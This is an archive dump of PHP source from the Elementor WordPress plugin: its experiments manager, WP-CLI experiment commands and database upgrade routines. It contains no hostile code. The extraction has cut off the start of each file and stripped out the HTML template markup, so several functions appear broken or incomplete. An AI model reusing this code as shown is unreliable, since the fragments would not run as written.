core/experiments/manager.php000064400000075403147206604650012205 0ustar00features[ $options['name'] ] ) ) { return null; } $default_experimental_data = [ 'tag' => '', // Deprecated, use 'tags' instead. 'tags' => [], 'description' => '', 'release_status' => self::RELEASE_STATUS_ALPHA, 'default' => self::STATE_INACTIVE, 'mutable' => true, static::TYPE_HIDDEN => false, 'new_site' => [ 'always_active' => false, 'default_active' => false, 'default_inactive' => false, 'minimum_installation_version' => null, ], 'on_state_change' => null, 'generator_tag' => false, ]; $allowed_options = [ 'name', 'title', 'tag', 'tags', 'description', 'release_status', 'default', 'mutable', static::TYPE_HIDDEN, 'new_site', 'on_state_change', 'dependencies', 'generator_tag', 'messages' ]; $experimental_data = $this->merge_properties( $default_experimental_data, $options, $allowed_options ); $experimental_data = $this->unify_feature_tags( $experimental_data ); $new_site = $experimental_data['new_site']; if ( $new_site['default_active'] || $new_site['always_active'] || $new_site['default_inactive'] ) { $is_new_installation = $this->install_compare( $new_site['minimum_installation_version'] ); if ( $is_new_installation ) { if ( $new_site['always_active'] ) { $experimental_data['state'] = self::STATE_ACTIVE; $experimental_data['mutable'] = false; } elseif ( $new_site['default_active'] ) { $experimental_data['default'] = self::STATE_ACTIVE; } elseif ( $new_site['default_inactive'] ) { $experimental_data['default'] = self::STATE_INACTIVE; } } } if ( $experimental_data['mutable'] ) { $experimental_data['state'] = $this->get_saved_feature_state( $options['name'] ); } if ( empty( $experimental_data['state'] ) ) { $experimental_data['state'] = self::STATE_DEFAULT; } if ( ! empty( $experimental_data['dependencies'] ) ) { foreach ( $experimental_data['dependencies'] as $key => $dependency ) { $feature = $this->get_features( $dependency ); if ( ! empty( $feature[ static::TYPE_HIDDEN ] ) ) { throw new Exceptions\Dependency_Exception( 'Depending on a hidden experiment is not allowed.' ); } $experimental_data['dependencies'][ $key ] = $this->create_dependency_class( $dependency, $feature ); } } $this->features[ $options['name'] ] = $experimental_data; if ( $experimental_data['mutable'] && is_admin() ) { $feature_option_key = $this->get_feature_option_key( $options['name'] ); $on_state_change_callback = function( $old_state, $new_state ) use ( $experimental_data, $feature_option_key ) { try { $this->on_feature_state_change( $experimental_data, $new_state, $old_state ); } catch ( Exceptions\Dependency_Exception $e ) { $message = sprintf( '

%s

%s

', esc_html( $e->getMessage() ), Settings::get_settings_tab_url( 'experiments' ), esc_html__( 'Back', 'elementor' ) ); wp_die( $message ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } }; add_action( 'add_option_' . $feature_option_key, $on_state_change_callback, 10, 2 ); add_action( 'update_option_' . $feature_option_key, $on_state_change_callback, 10, 2 ); } do_action( 'elementor/experiments/feature-registered', $this, $experimental_data ); return $experimental_data; } private function install_compare( $version ) { $installs_history = Upgrade_Manager::get_installs_history(); if ( empty( $installs_history ) ) { return false; } $cleaned_version = preg_replace( '/-(beta|cloud|dev)\d*$/', '', key( $installs_history ) ); return version_compare( $cleaned_version, $version, '>=' ); } /** * Combine 'tag' and 'tags' into one property. * * @param array $experimental_data * * @return array */ private function unify_feature_tags( array $experimental_data ) : array { foreach ( [ 'tag', 'tags' ] as $key ) { if ( empty( $experimental_data[ $key ] ) ) { continue; } $experimental_data[ $key ] = $this->format_feature_tags( $experimental_data[ $key ] ); } if ( is_array( $experimental_data['tag'] ) ) { $experimental_data['tags'] = array_merge( $experimental_data['tag'], $experimental_data['tags'] ); } return $experimental_data; } /** * Format feature tags into the right format. * * @param string|array[ * [ * 'type' => string, * 'label' => string * ] * ] $tag * * @return array */ private function format_feature_tags( $tags ) : array { if ( ! is_string( $tags ) && ! is_array( $tags ) ) { return []; } $default_tag = [ 'type' => 'default', 'label' => '', ]; $allowed_tag_properties = [ 'type', 'label' ]; // If $tags is string, explode by commas and convert to array. if ( is_string( $tags ) ) { $tags = array_filter( explode( ',', $tags ) ); foreach ( $tags as $i => $tag ) { $tags[ $i ] = [ 'label' => trim( $tag ) ]; } } foreach ( $tags as $i => $tag ) { if ( empty( $tag['label'] ) ) { unset( $tags[ $i ] ); continue; } $tags[ $i ] = $this->merge_properties( $default_tag, $tag, $allowed_tag_properties ); } return $tags; } /** * Remove Feature * * @since 3.1.0 * @access public * * @param string $feature_name */ public function remove_feature( $feature_name ) { unset( $this->features[ $feature_name ] ); } /** * Get Features * * @since 3.1.0 * @access public * * @param string $feature_name Optional. Default is null * * @return array|null */ public function get_features( $feature_name = null ) { return self::get_items( $this->features, $feature_name ); } /** * Get Active Features * * @since 3.1.0 * @access public * * @return array */ public function get_active_features() { return array_filter( $this->features, [ $this, 'is_feature_active' ], ARRAY_FILTER_USE_KEY ); } /** * Is Feature Active * * @since 3.1.0 * @access public * * @param string $feature_name * * @return bool */ public function is_feature_active( $feature_name ) { $feature = $this->get_features( $feature_name ); if ( ! $feature ) { return false; } return self::STATE_ACTIVE === $this->get_feature_actual_state( $feature ); } /** * Set Feature Default State * * @since 3.1.0 * @access public * * @param string $feature_name * @param string $default_state */ public function set_feature_default_state( $feature_name, $default_state ) { $feature = $this->get_features( $feature_name ); if ( ! $feature ) { return; } $this->features[ $feature_name ]['default'] = $default_state; } /** * Get Feature Option Key * * @since 3.1.0 * @access public * * @param string $feature_name * * @return string */ public function get_feature_option_key( $feature_name ) { return static::OPTION_PREFIX . $feature_name; } private function add_default_features() { $this->add_feature( [ 'name' => 'e_optimized_css_loading', 'title' => esc_html__( 'Improved CSS Loading', 'elementor' ), 'tag' => esc_html__( 'Performance', 'elementor' ), 'description' => sprintf( '%1$s %2$s', esc_html__( 'Please Note! The “Improved CSS Loading” mode reduces the amount of CSS code that is loaded on the page by default. When activated, the CSS code will be loaded, rather inline or in a dedicated file, only when needed. Activating this experiment may cause conflicts with incompatible plugins.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), 'release_status' => self::RELEASE_STATUS_STABLE, 'default' => self::STATE_INACTIVE, static::TYPE_HIDDEN => true, 'mutable' => false, 'generator_tag' => true, ] ); $this->add_feature( [ 'name' => 'e_font_icon_svg', 'title' => esc_html__( 'Inline Font Icons', 'elementor' ), 'tag' => esc_html__( 'Performance', 'elementor' ), 'description' => sprintf( '%1$s %2$s', esc_html__( 'The “Inline Font Icons” will render the icons as inline SVG without loading the Font-Awesome and the eicons libraries and its related CSS files and fonts.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), 'release_status' => self::RELEASE_STATUS_STABLE, 'new_site' => [ 'default_active' => true, 'minimum_installation_version' => '3.17.0', ], 'generator_tag' => true, ] ); $this->add_feature( [ 'name' => 'additional_custom_breakpoints', 'title' => esc_html__( 'Additional Custom Breakpoints', 'elementor' ), 'description' => sprintf( '%1$s %2$s', esc_html__( 'Get pixel-perfect design for every screen size. You can now add up to 6 customizable breakpoints beyond the default desktop setting: mobile, mobile extra, tablet, tablet extra, laptop, and widescreen.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), 'release_status' => self::RELEASE_STATUS_STABLE, 'default' => self::STATE_ACTIVE, 'generator_tag' => true, ] ); $this->add_feature( [ 'name' => 'container', 'title' => esc_html__( 'Flexbox Container', 'elementor' ), 'description' => sprintf( esc_html__( 'Create advanced layouts and responsive designs with the new %1$sFlexbox Container element%2$s. This experiment replaces the current section/column structure, but you\'ll still keep your existing Sections, Inner Sections and Columns and be able to edit them. Ready to give it a try? Check out the %3$sFlexbox playground%4$s.', 'elementor' ), '', '', '', '' ), 'release_status' => self::RELEASE_STATUS_STABLE, 'default' => self::STATE_INACTIVE, 'new_site' => [ 'default_active' => true, 'minimum_installation_version' => '3.16.0', ], 'messages' => [ 'on_deactivate' => sprintf( '%1$s %2$s', esc_html__( 'Container-based content will be hidden from your site and may not be recoverable in all cases.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ), ), ], ] ); $this->add_feature( [ 'name' => 'container_grid', 'title' => esc_html__( 'Grid Container', 'elementor' ), 'tag' => esc_html__( 'Feature', 'elementor' ), 'description' => sprintf( '%1$s %2$s', esc_html__( 'Create pixel perfect layouts by placing elements in a customizable grid. Activate to add the CSS Grid option to container elements.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ), ), 'release_status' => self::RELEASE_STATUS_STABLE, 'default' => self::STATE_ACTIVE, 'dependencies' => [ 'container', ], ] ); $this->add_feature( [ 'name' => 'e_swiper_latest', 'title' => esc_html__( 'Upgrade Swiper Library', 'elementor' ), 'description' => esc_html__( 'Prepare your website for future improvements to carousel features by upgrading the Swiper library integrated into your site from v5.36 to v8.45. This experiment includes markup changes so it might require updating custom code and cause compatibility issues with third party plugins.', 'elementor' ), 'release_status' => self::RELEASE_STATUS_STABLE, 'default' => self::STATE_ACTIVE, ] ); $this->add_feature( [ 'name' => 'e_nested_atomic_repeaters', 'title' => esc_html__( 'Nested Elements Performance', 'elementor' ), 'tag' => esc_html__( 'Performance', 'elementor' ), 'description' => esc_html__( 'Improve the performance of the Nested widgets.', 'elementor' ), static::TYPE_HIDDEN => true, 'release_status' => self::RELEASE_STATUS_DEV, 'default' => self::STATE_ACTIVE, ] ); $this->add_feature( [ 'name' => 'e_optimized_control_loading', 'title' => esc_html__( 'Optimized Control Loading', 'elementor' ), 'tag' => esc_html__( 'Performance', 'elementor' ), 'description' => esc_html__( 'Use this experiment to improve control loading. This experiment improves site performance by loading controls only when needed.', 'elementor' ), 'release_status' => self::RELEASE_STATUS_BETA, 'default' => self::STATE_INACTIVE, 'new_site' => [ 'default_active' => true, 'minimum_installation_version' => '3.22.0', ], 'generator_tag' => true, ] ); $this->add_feature( [ 'name' => 'e_optimized_markup', 'title' => esc_html__( 'Optimized Markup', 'elementor' ), 'tag' => esc_html__( 'Performance', 'elementor' ), 'description' => esc_html__( 'Reduce the DOM size by eliminating HTML tags in various elements and widgets. This experiment includes markup changes so it might require updating custom CSS/JS code and cause compatibility issues with third party plugins.', 'elementor' ), static::TYPE_HIDDEN => true, 'release_status' => self::RELEASE_STATUS_DEV, 'default' => self::STATE_INACTIVE, ] ); $this->add_feature( [ 'name' => 'e_swiper_css_conditional_loading', 'title' => esc_html__( 'Conditionally load Swiper CSS files', 'elementor' ), static::TYPE_HIDDEN => true, 'default' => self::STATE_INACTIVE, ] ); $this->add_feature( [ 'name' => 'e_onboarding', 'title' => esc_html__( 'Plugin Onboarding', 'elementor' ), 'description' => esc_html__( 'New plugin onboarding.', 'elementor' ), static::TYPE_HIDDEN => true, 'release_status' => self::RELEASE_STATUS_ALPHA, 'default' => self::STATE_ACTIVE, ] ); } /** * Init States * * @since 3.1.0 * @access private */ private function init_states() { $this->states = [ self::STATE_DEFAULT => esc_html__( 'Default', 'elementor' ), self::STATE_ACTIVE => esc_html__( 'Active', 'elementor' ), self::STATE_INACTIVE => esc_html__( 'Inactive', 'elementor' ), ]; } /** * Init Statuses * * @since 3.1.0 * @access private */ private function init_release_statuses() { $this->release_statuses = [ self::RELEASE_STATUS_DEV => esc_html__( 'Development', 'elementor' ), self::RELEASE_STATUS_ALPHA => esc_html__( 'Alpha', 'elementor' ), self::RELEASE_STATUS_BETA => esc_html__( 'Beta', 'elementor' ), self::RELEASE_STATUS_RC => esc_html__( 'Release Candidate', 'elementor' ), self::RELEASE_STATUS_STABLE => esc_html__( 'Stable', 'elementor' ), ]; } /** * Init Features * * @since 3.1.0 * @access private */ private function init_features() { $this->features = []; $this->add_default_features(); do_action( 'elementor/experiments/default-features-registered', $this ); } /** * Register Settings Fields * * @param Settings $settings * * @since 3.1.0 * @access private * */ private function register_settings_fields( Settings $settings ) { $features = $this->get_features(); $fields = []; foreach ( $features as $feature_name => $feature ) { $is_hidden = $feature[ static::TYPE_HIDDEN ]; $is_mutable = $feature['mutable']; $should_hide_experiment = ! $is_mutable || ( $is_hidden && ! $this->should_show_hidden() ) || $this->has_non_existing_dependency( $feature ); if ( $should_hide_experiment ) { unset( $features[ $feature_name ] ); continue; } $feature_key = 'experiment-' . $feature_name; $section = 'stable' === $feature['release_status'] ? 'stable' : 'ongoing'; $fields[ $section ][ $feature_key ]['label'] = $this->get_feature_settings_label_html( $feature ); $fields[ $section ][ $feature_key ]['field_args'] = $feature; $fields[ $section ][ $feature_key ]['render'] = function( $feature ) { $this->render_feature_settings_field( $feature ); }; } foreach ( [ 'stable', 'ongoing' ] as $section ) { if ( ! isset( $fields[ $section ] ) ) { $fields[ $section ]['no_features'] = [ 'label' => esc_html__( 'No available experiments', 'elementor' ), 'field_args' => [ 'type' => 'raw_html', 'html' => esc_html__( 'The current version of Elementor doesn\'t have any experimental features . if you\'re feeling curious make sure to come back in future versions.', 'elementor' ), ], ]; } if ( ! Tracker::is_allow_track() && 'stable' === $section ) { $fields[ $section ] += $settings->get_usage_fields(); } } $settings->add_tab( 'experiments', [ 'label' => esc_html__( 'Features', 'elementor' ), 'sections' => [ 'ongoing_experiments' => [ 'callback' => function() { $this->render_settings_intro(); }, 'fields' => $fields['ongoing'], ], 'stable_experiments' => [ 'callback' => function() { $this->render_stable_section_title(); }, 'fields' => $fields['stable'], ], ], ] ); } private function render_stable_section_title() { ?>

', '' ); ?>

%2$s', esc_html__( 'To use an experiment or feature on your site, simply click on the dropdown next to it and switch to Active. You can always deactivate them at any time.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ), ); ?>

get_features() ) { ?>

get_feature_option_key( $feature['name'] ); $status = sprintf( /* translators: %s Release status. */ esc_html__( 'Status: %s', 'elementor' ), $this->release_statuses[ $feature['release_status'] ] ); ?>

render_feature_dependency( $feature ); ?>
map( function ( $dependency ) { return $dependency->get_title(); } ) ->implode( ', ' ); if ( empty( $dependencies ) ) { return; } ?>
:
find( function ( $dependency ) { return $dependency instanceof Non_Existing_Dependency; } ); return ! ! $non_existing_dep; } /** * Get Feature Settings Label HTML * * @since 3.1.0 * @access private * * @param array $feature * * @return string */ private function get_feature_settings_label_html( array $feature ) { ob_start(); $is_feature_active = $this->is_feature_active( $feature['name'] ); $indicator_classes = 'e-experiment__title__indicator'; if ( $is_feature_active ) { $indicator_classes .= ' e-experiment__title__indicator--active'; } $indicator_tooltip = $this->get_feature_state_label( $feature ); ?>
is_feature_active( $feature['name'] ); if ( self::STATE_DEFAULT === $feature['state'] ) { $label = $is_feature_active ? esc_html__( 'Active by default', 'elementor' ) : esc_html__( 'Inactive by default', 'elementor' ); } else { $label = self::STATE_ACTIVE === $feature['state'] ? esc_html__( 'Active', 'elementor' ) : esc_html__( 'Inactive', 'elementor' ); } return $label; } /** * Get Feature Settings Label HTML * * @since 3.1.0 * @access private * * @param string $feature_name * * @return int */ private function get_saved_feature_state( $feature_name ) { return get_option( $this->get_feature_option_key( $feature_name ) ); } /** * Get Feature Actual State * * @since 3.1.0 * @access private * * @param array $feature * * @return string */ private function get_feature_actual_state( array $feature ) { if ( ! empty( $feature['state'] ) && self::STATE_DEFAULT !== $feature['state'] ) { return $feature['state']; } return $feature['default']; } /** * On Feature State Change * * @since 3.1.0 * @access private * * @param array $old_feature_data * @param string $new_state * * @throws \Elementor\Core\Experiments\Exceptions\Dependency_Exception */ private function on_feature_state_change( array $old_feature_data, $new_state, $old_state ) { $new_feature_data = $this->get_features( $old_feature_data['name'] ); $this->validate_dependency( $new_feature_data, $new_state ); $this->features[ $old_feature_data['name'] ]['state'] = $new_state; if ( $old_state === $new_state ) { return; } Plugin::$instance->files_manager->clear_cache(); if ( $new_feature_data['on_state_change'] ) { $new_feature_data['on_state_change']( $old_state, $new_state ); } do_action( 'elementor/experiments/feature-state-change/' . $old_feature_data['name'], $old_state, $new_state ); } /** * @throws \Elementor\Core\Experiments\Exceptions\Dependency_Exception */ private function validate_dependency( array $feature, $new_state ) { $rollback = function ( $feature_option_key, $state ) { remove_all_actions( 'add_option_' . $feature_option_key ); remove_all_actions( 'update_option_' . $feature_option_key ); update_option( $feature_option_key, $state ); }; if ( self::STATE_DEFAULT === $new_state ) { $new_state = $this->get_feature_actual_state( $feature ); } $feature_option_key = $this->get_feature_option_key( $feature['name'] ); if ( self::STATE_ACTIVE === $new_state ) { if ( empty( $feature['dependencies'] ) ) { return; } // Validate if the current feature dependency is available. foreach ( $feature['dependencies'] as $dependency ) { $dependency_feature = $this->get_features( $dependency->get_name() ); if ( ! $dependency_feature ) { $rollback( $feature_option_key, self::STATE_INACTIVE ); throw new Exceptions\Dependency_Exception( sprintf( 'The feature `%s` has a dependency `%s` that is not available.', $feature['name'], $dependency->get_name() ) ); } $dependency_state = $this->get_feature_actual_state( $dependency_feature ); // If dependency is not active. if ( self::STATE_INACTIVE === $dependency_state ) { $rollback( $feature_option_key, self::STATE_INACTIVE ); throw new Exceptions\Dependency_Exception( sprintf( 'To turn on `%1$s`, Experiment: `%2$s` activity is required!', $feature['name'], $dependency_feature['name'] ) ); } } } elseif ( self::STATE_INACTIVE === $new_state ) { // Make sure to deactivate a dependant experiment of the current feature when it's deactivated. foreach ( $this->get_features() as $current_feature ) { if ( empty( $current_feature['dependencies'] ) ) { continue; } $current_feature_state = $this->get_feature_actual_state( $current_feature ); foreach ( $current_feature['dependencies'] as $dependency ) { if ( self::STATE_ACTIVE === $current_feature_state && $feature['name'] === $dependency->get_name() ) { update_option( $this->get_feature_option_key( $current_feature['name'] ), static::STATE_INACTIVE ); } } } } } private function should_show_hidden() { return defined( 'ELEMENTOR_SHOW_HIDDEN_EXPERIMENTS' ) && ELEMENTOR_SHOW_HIDDEN_EXPERIMENTS; } private function create_dependency_class( $dependency_name, $dependency_args ) { if ( class_exists( $dependency_name ) ) { return $dependency_name::instance(); } if ( ! empty( $dependency_args ) ) { return new Wrap_Core_Dependency( $dependency_args ); } return new Non_Existing_Dependency( $dependency_name ); } /** * The experiments page is a WordPress options page, which means all the experiments are registered via WordPress' register_settings(), * and their states are being sent in the POST request when saving. * The options are being updated in a chronological order based on the POST data. * This behavior interferes with the experiments dependency mechanism because the data that's being sent can be in any order, * while the dependencies mechanism expects it to be in a specific order (dependencies should be activated before their dependents can). * In order to solve this issue, we sort the experiments in the POST data based on their dependencies tree. * * @param $allowed_options * * @return mixed */ private function sort_allowed_options_by_dependencies( $allowed_options ) { if ( ! isset( $allowed_options['elementor'] ) ) { return $allowed_options; } $sorted = Collection::make(); $visited = Collection::make(); $sort = function ( $item ) use ( &$sort, $sorted, $visited ) { if ( $visited->contains( $item ) ) { return; } $visited->push( $item ); $feature = $this->get_features( $item ); if ( ! $feature ) { return; } foreach ( $feature['dependencies'] ?? [] as $dep ) { $name = is_string( $dep ) ? $dep : $dep->get_name(); $sort( $name ); } $sorted->push( $item ); }; foreach ( $allowed_options['elementor'] as $option ) { $is_experiment_option = strpos( $option, static::OPTION_PREFIX ) === 0; if ( ! $is_experiment_option ) { continue; } $sort( str_replace( static::OPTION_PREFIX, '', $option ) ); } $allowed_options['elementor'] = Collection::make( $allowed_options['elementor'] ) ->filter( function ( $option ) { return 0 !== strpos( $option, static::OPTION_PREFIX ); } ) ->merge( $sorted->map( function ( $item ) { return static::OPTION_PREFIX . $item; } ) ) ->values(); return $allowed_options; } public function __construct() { $this->init_states(); $this->init_release_statuses(); $this->init_features(); add_action( 'admin_init', function () { System_Info::add_report( 'experiments', [ 'file_name' => __DIR__ . '/experiments-reporter.php', 'class_name' => __NAMESPACE__ . '\Experiments_Reporter', ] ); }, 79 /* Before log */ ); if ( is_admin() ) { $page_id = Settings::PAGE_ID; add_action( "elementor/admin/after_create_settings/{$page_id}", function( Settings $settings ) { $this->register_settings_fields( $settings ); }, 11 ); add_filter( 'allowed_options', function ( $allowed_options ) { return $this->sort_allowed_options_by_dependencies( $allowed_options ); }, 11 ); } // Register CLI commands. if ( Utils::is_wp_cli() ) { \WP_CLI::add_command( 'elementor experiments', WP_CLI::class ); } } } core/experiments/non-existing-dependency.php000064400000001014147206604650015314 0ustar00feature_id = $feature_id; } public function get_name() { return $this->feature_id; } public function get_title() { return $this->feature_id; } public function is_hidden() { return false; } public static function instance( $feature_id ) { return new static( $feature_id ); } } core/experiments/exceptions/dependency-exception.php000064400000000261147206604650017054 0ustar00is_network( $assoc_args ); $experiments = $this->parse_experiments( $args[0] ); $plural = $this->get_plural( $experiments ); $success = 'Experiment' . $plural . ' activated successfully'; $error = 'Cannot activate experiment' . $plural; if ( $is_network ) { $success .= " for site {$site}"; $error .= " for site {$site}"; } $experiments_manager = Plugin::instance()->experiments; if ( ! $this->check_experiments_exist( $experiments_manager, $experiments ) ) { \WP_CLI::error( 'Experiments do not exist' . $args[0] ); } if ( $is_network ) { $this->foreach_sites( $this->update_experiment_state, $experiments, Experiments_Manager::STATE_ACTIVE, $is_network, $success, $error ); } else { $this->update_experiment_state( $experiments, Experiments_Manager::STATE_ACTIVE, $is_network, $success, $error ); } } /** * Deactivate an Experiment * * ## EXAMPLES * * 1. wp elementor experiments deactivate container * - This will deactivate the Container experiment. * * @param array $args * @param array|null $assoc_args - Arguments from WP CLI command. */ public function deactivate( $args, $assoc_args ) { if ( empty( $args[0] ) ) { \WP_CLI::error( 'Please specify an experiment.' ); } $is_network = $this->is_network( $assoc_args ); $experiments = $this->parse_experiments( $args[0] ); $plural = $this->get_plural( $experiments ); $success = 'Experiment' . $plural . ' deactivated successfully'; $error = 'Cannot deactivate experiment' . $plural; $experiments_manager = Plugin::instance()->experiments; if ( ! $this->check_experiments_exist( $experiments_manager, $experiments ) ) { \WP_CLI::error( 'Experiments do not exist' ); } if ( $is_network ) { $this->foreach_sites( $this->update_experiment_state, $experiments, Experiments_Manager::STATE_INACTIVE, $is_network, $success, $error ); } else { $this->update_experiment_state( $experiments, Experiments_Manager::STATE_INACTIVE, $is_network, $success, $error ); } } /** * Experiment Status * * ## EXAMPLES * * 1. wp elementor experiments status container * - This will return the status of Container experiment. (active/inactive) * * @param array $args */ public function status( $args ) { if ( empty( $args[0] ) ) { \WP_CLI::error( 'Please specify an experiment.' ); } $experiments_manager = Plugin::$instance->experiments; $experiments_status = $experiments_manager->is_feature_active( $args[0] ) ? 'active' : 'inactive'; \WP_CLI::line( $experiments_status ); } /** * Determine if the current website is a multisite. * * @param array|null $assoc_args - Arguments from WP CLI command. * * @return bool */ private function is_network( $assoc_args ) { return ! empty( $assoc_args['network'] ) && is_multisite(); } /** * Iterate over network sites and execute a callback. * * @param callable $callback - Callback to execute. Gets the site name & id as parameters. * * @return void */ private function foreach_sites( callable $callback, $experiments, $state, $is_network, $success, $error ) { $blog_ids = get_sites( [ 'fields' => 'ids', 'number' => 0, ] ); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); $callback( get_option( 'home' ), $experiments, $state, $is_network, $success, $error ); restore_current_blog(); } } /** * @param string $experiments_str comma delimited string of experiments * * @return array array of experiments */ private function parse_experiments( $experiments_str ) { return explode( ',', $experiments_str ); } /** * @param array $experiments experiments * * @return string plural */ private function get_plural( $experiments ) { return count( $experiments ) > 0 ? 's' : ''; } /** * @param Experiments_Manager $experiments_manager manager * @param array $experiments experiments * * @return bool true when all experiments exist, otherwise false */ private function check_experiments_exist( $experiments_manager, $experiments ) { foreach ( $experiments as $experiment ) { $feature = $experiments_manager->get_features( $experiment ); if ( ! $feature ) { return false; } } return true; } private function update_experiment_state( $experiments, $state, $is_network, $success_message, $error_message, $site_id = '' ) { if ( $is_network ) { $success_message .= " for site {$site}"; $error_message .= " for site {$site}"; } $experiments_manager = Plugin::instance()->experiments; foreach ( $experiments as $experiment ) { $option = $experiments_manager->get_feature_option_key( $experiment ); update_option( $option, $state ); } try { \WP_CLI::success( $success_message ); } catch ( \Exception $e ) { \WP_CLI::error( $error_message ); } } } core/wp-api.php000064400000002165147206604650007420 0ustar00plugins ) { $this->plugins = new Collection( get_plugins() ); } return $this->plugins; } /** * @return Collection */ public function get_active_plugins() { return $this->get_plugins() ->only( get_option( 'active_plugins' ) ); } /** * @return object|array */ public function plugins_api( $action, $args ) { return plugins_api( $action, $args ); } /** * @return bool */ public function is_plugin_active( $plugin ) { return is_plugin_active( $plugin ); } /** * @return bool|int|null|true */ public function activate_plugin( $plugin ) { return activate_plugin( $plugin ); } } core/upgrade/updater.php000064400000000753147206604650011317 0ustar00manager->get_plugin_label() . '/Upgrades - ' . $item['callback'][1]; } public function set_limit( $limit ) { $this->manager->set_query_limit( $limit ); } } core/upgrade/task.php000064400000001015147206604650010605 0ustar00manager->get_plugin_label() . '/Tasks - ' . $item['callback'][1]; } public function set_limit( $limit ) { $this->manager->set_query_limit( $limit ); } } core/upgrade/upgrades.php000064400000064730147206604650011472 0ustar00uploads_manager; $temp_dir = $uploads_manager->get_temp_dir(); if ( file_exists( $temp_dir ) ) { $uploads_manager->remove_file_or_dir( $temp_dir ); } } /** * Upgrade Elementor 0.3.2 * * Change the image widget link URL, setting is to `custom` link. * * @since 2.0.0 * @static * @access public */ public static function _v_0_3_2() { global $wpdb; $post_ids = $wpdb->get_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = \'_elementor_version\' AND `meta_value` = \'0.1\';' ); if ( empty( $post_ids ) ) { return; } foreach ( $post_ids as $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data = $document->get_elements_data(); } if ( empty( $data ) ) { continue; } $data = Plugin::$instance->db->iterate_data( $data, function( $element ) { if ( empty( $element['widgetType'] ) || 'image' !== $element['widgetType'] ) { return $element; } if ( ! empty( $element['settings']['link']['url'] ) && ! isset( $element['settings']['link_to'] ) ) { $element['settings']['link_to'] = 'custom'; } return $element; } ); $document = Plugin::$instance->documents->get( $post_id ); $document->save( [ 'elements' => $data, ] ); } } /** * Upgrade Elementor 0.9.2 * * Change the icon widget, icon-box widget and the social-icons widget, * setting their icon padding size to an empty string. * * Change the image widget, setting the image size to full image size. * * @since 2.0.0 * @static * @access public */ public static function _v_0_9_2() { global $wpdb; // Fix Icon/Icon Box Widgets padding. $post_ids = $wpdb->get_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = \'_elementor_version\' AND `meta_value` = \'0.2\';' ); if ( empty( $post_ids ) ) { return; } foreach ( $post_ids as $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data = $document->get_elements_data(); } if ( empty( $data ) ) { continue; } $data = Plugin::$instance->db->iterate_data( $data, function( $element ) { if ( empty( $element['widgetType'] ) ) { return $element; } if ( in_array( $element['widgetType'], [ 'icon', 'icon-box', 'social-icons' ] ) ) { if ( ! empty( $element['settings']['icon_padding']['size'] ) ) { $element['settings']['icon_padding']['size'] = ''; } } if ( 'image' === $element['widgetType'] ) { if ( empty( $element['settings']['image_size'] ) ) { $element['settings']['image_size'] = 'full'; } } return $element; } ); $document = Plugin::$instance->documents->get( $post_id ); $document->save( [ 'elements' => $data, ] ); } } /** * Upgrade Elementor 0.11.0 * * Change the button widget sizes, setting up new button sizes. * * @since 2.0.0 * @static * @access public */ public static function _v_0_11_0() { global $wpdb; // Fix Button widget to new sizes options. $post_ids = $wpdb->get_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = \'_elementor_version\' AND `meta_value` = \'0.3\';' ); if ( empty( $post_ids ) ) { return; } foreach ( $post_ids as $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data = $document->get_elements_data(); } if ( empty( $data ) ) { continue; } $data = Plugin::$instance->db->iterate_data( $data, function( $element ) { if ( empty( $element['widgetType'] ) ) { return $element; } if ( 'button' === $element['widgetType'] ) { $size_to_replace = [ 'small' => 'xs', 'medium' => 'sm', 'large' => 'md', 'xl' => 'lg', 'xxl' => 'xl', ]; if ( ! empty( $element['settings']['size'] ) ) { $old_size = $element['settings']['size']; if ( isset( $size_to_replace[ $old_size ] ) ) { $element['settings']['size'] = $size_to_replace[ $old_size ]; } } } return $element; } ); $document = Plugin::$instance->documents->get( $post_id ); $document->save( [ 'elements' => $data, ] ); } } /** * Upgrade Elementor 2.0.0 * * Fix post titles for old autosave drafts that saved with the format 'Auto Save 2018-03-18 17:24'. * * @static * @since 2.0.0 * @access public */ public static function _v_2_0_0() { global $wpdb; $posts = $wpdb->get_results( 'SELECT `ID`, `post_title`, `post_parent` FROM `' . $wpdb->posts . '` p LEFT JOIN `' . $wpdb->postmeta . '` m ON p.ID = m.post_id WHERE `post_status` = \'inherit\' AND `post_title` = CONCAT(\'Auto Save \', DATE_FORMAT(post_date, "%Y-%m-%d %H:%i")) AND m.`meta_key` = \'_elementor_data\';' ); if ( empty( $posts ) ) { return; } foreach ( $posts as $post ) { wp_update_post( [ 'ID' => $post->ID, 'post_title' => get_the_title( $post->post_parent ), ] ); } } /** * Upgrade Elementor 2.0.1 * * Fix post titles for old autosave drafts that saved with the format 'Auto Save...'. * * @since 2.0.2 * @static * @access public */ public static function _v_2_0_1() { global $wpdb; $posts = $wpdb->get_results( 'SELECT `ID`, `post_title`, `post_parent` FROM `' . $wpdb->posts . '` p LEFT JOIN `' . $wpdb->postmeta . '` m ON p.ID = m.post_id WHERE `post_status` = \'inherit\' AND `post_title` REGEXP \'^Auto Save [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$\' AND m.`meta_key` = \'_elementor_data\';' ); if ( empty( $posts ) ) { return; } foreach ( $posts as $post ) { $parent = get_post( $post->post_parent ); $title = isset( $parent->post_title ) ? $parent->post_title : ''; wp_update_post( [ 'ID' => $post->ID, 'post_title' => $title, ] ); } } /** * Upgrade Elementor 2.0.10 * * Fix post titles for old autosave drafts that saved with the format 'Auto Save...'. * Fix also Translated titles. * * @since 2.0.10 * @static * @access public */ public static function _v_2_0_10() { global $wpdb; $posts = $wpdb->get_results( 'SELECT `ID`, `post_title`, `post_parent` FROM `' . $wpdb->posts . '` p LEFT JOIN `' . $wpdb->postmeta . '` m ON p.ID = m.post_id WHERE `post_status` = \'inherit\' AND `post_title` REGEXP \'[[:alnum:]]+ [[:alnum:]]+ 